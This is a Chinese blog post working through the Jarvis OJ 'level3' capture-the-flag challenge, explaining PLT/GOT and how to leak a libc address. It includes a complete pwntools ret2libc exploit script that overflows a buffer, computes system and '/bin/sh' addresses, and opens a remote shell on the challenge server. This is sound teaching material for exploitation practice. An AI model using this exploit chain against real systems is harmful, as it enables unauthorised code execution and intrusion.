Jarvis oj level3

本文详细解析了如何通过write函数泄露服务器地址,利用plt和got表构造payload,最终实现对Level3的攻击。文章介绍了Linux下ANSIC函数库的利用技巧,通过计算函数地址偏移,定位/bin/sh和system函数,最终获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

下载下来发现有level3文件和libc.so文件,先checksec,和level2差不多,接着ida打开level3,没找到system函数和bin字符串,没什么办法了。接着去看so文件,libc是Linux下的ANSI C的函数库。找到了system函数和bin字符串。那么怎么利用呢?

首先了解plt和got表。链接
在这里插入图片描述我是这么理解的:plt表中存放的是函数在got表中该项的地址,got表存放的是函数在内存中的真实地址,也就是说plt[write]指向got[write],got[write]指向write函数在内存中的地址。而plt表在服务器和客户机是一样的,不一样的是函数在内存中的地址。程序运行后加载动态库,把动态库中的相应函数地址填入GOT表。同时还有个知识点,libc文件中不同函数、数据之间的偏移量在服务器和客户机中是一样的。

因此思想是首先利用write函数将服务器中函数的地址泄露,构造write(got[write])。

pad
ebp
ret_addr
write的参数1,从右到左
write的参数2
write的参数3

得到服务器中write函数的真实地址。
由于函数在内存中距so文件开头地址是一样的,因此算出offset=服务器函数地址-本地地址,服务器地址即为本地地址+offset。

脚本:

from pwn import *
conn=remote("pwn2.jarvisoj.com","9879")
e=ELF("level3")
libc=ELF("libc-2.19.so")
write_addr=e.symbols['write']
vul_addr=e.symbols['vulnerable_function']
got_addr=e.got['write']

conn.recvuntil("Input:\n")
payload1="a"*0x88+"bbbb"+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
conn.send(payload1)
temp = conn.recv(4)
true_address = u32(temp[0:4])
print hex(true_address)

offset=true_address-libc.symbols['write']

bin_addr=libc.search("/bin/sh").next()+offset
sys_addr=libc.symbols['system']+offset

payload2="a"*0x88+"bbbb"+p32(sys_addr)+"junk"+p32(bin_addr)
conn.send(payload2)
conn.interactive()

注意点:
我在p32里运算有问题,拉出来就可以了。

加一种,如果不知道libc版本,使用LibcSearcher库

obj = LibcSearcher("read", u32(read_got))	//根据read的地址后3字节判断libc版本
offset=u32(read_got)-obj.dump('read') 		//偏移
sys=obj.dump("system")+offset      
bins=obj.dump("str_bin_sh")+offset
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值